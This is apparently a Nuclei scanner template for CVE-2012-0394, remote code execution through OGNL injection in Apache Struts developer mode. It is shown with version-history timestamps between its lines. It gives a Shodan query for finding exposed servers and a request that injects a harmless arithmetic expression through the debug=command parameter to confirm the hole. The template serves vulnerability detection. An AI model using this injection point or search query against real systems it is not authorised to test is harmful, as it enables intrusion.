2022-11-26 16:06:58 +00:00
id : CVE-2012-0394
2022-11-14 17:41:43 +00:00
info :
2023-01-30 19:03:41 +00:00
name : Apache Struts <2.3.1.1 - Remote Code Execution
2022-11-14 17:41:43 +00:00
author : tess
2023-07-11 19:49:27 +00:00
severity : medium
2022-11-26 16:06:58 +00:00
description : |
2023-01-30 19:03:41 +00:00
Apache Struts before 2.3.1.1 is susceptible to remote code execution. When developer mode is used in the DebuggingInterceptor component, a remote attacker can execute arbitrary OGNL commands via unspecified vectors, which can allow for execution of malware, obtaining sensitive information, modifying data, and/or gaining full control over a compromised system without entering necessary credentials.. NOTE : the vendor characterizes this behavior as not "a security vulnerability itself."
2023-09-06 13:22:34 +00:00
remediation : |
Upgrade Apache Struts to a version higher than 2.3.1.1 or apply the necessary patches.
2022-11-14 17:41:43 +00:00
reference :
- https://www.pwntester.com/blog/2014/01/21/struts-2-devmode-an-ognl-backdoor/
2022-11-17 17:47:55 +00:00
- https://www.exploit-db.com/exploits/31434
2022-11-26 16:06:58 +00:00
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0394
2022-11-26 16:52:14 +00:00
- http://www.exploit-db.com/exploits/18329
2023-01-30 19:03:41 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2012-0394
2022-12-02 21:24:17 +00:00
classification :
2023-07-11 19:49:27 +00:00
cvss-metrics : CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
cvss-score : 6.8
2022-12-02 21:24:17 +00:00
cve-id : CVE-2012-0394
2023-07-11 19:49:27 +00:00
cwe-id : CWE-94
2023-11-09 06:04:52 +00:00
epss-score : 0.94515
2023-11-20 05:10:39 +00:00
epss-percentile : 0.99027
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
2022-11-17 17:51:38 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 13:22:34 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : apache
product : struts
2023-09-06 13:22:34 +00:00
shodan-query : html:"Struts Problem Report"
2022-11-26 16:52:14 +00:00
tags : ognl,injection,edb,cve,cve2012,apache,struts
2022-11-18 14:03:59 +00:00
variables :
first : "{{rand_int(1000, 9999)}}"
second : "{{rand_int(1000, 9999)}}"
result : "{{to_number(first)*to_number(second)}}"
2022-11-14 17:41:43 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-11-14 17:41:43 +00:00
- method : GET
path :
2022-11-18 14:03:59 +00:00
- '{{BaseURL}}/portal/displayAPSForm.action?debug=command&expression={{first}}*{{second}}'
2022-11-14 17:41:43 +00:00
matchers-condition : and
matchers :
- type : word
words :
2022-11-18 14:03:59 +00:00
- '{{result}}'
2022-11-14 17:41:43 +00:00
- type : status
status :
- 200
2023-11-20 06:22:09 +00:00
# digest: 4b0a00483046022100d39492a3fb687a22f4de1b60972a9b6a45e7d4601f2fa01f5070ee906f21ae29022100bf6513cda5a269cdc10b0ea1d3aa338944b2690044cf13b877d5799f77b263f3:922c64590222798bb761d5b6d8e72950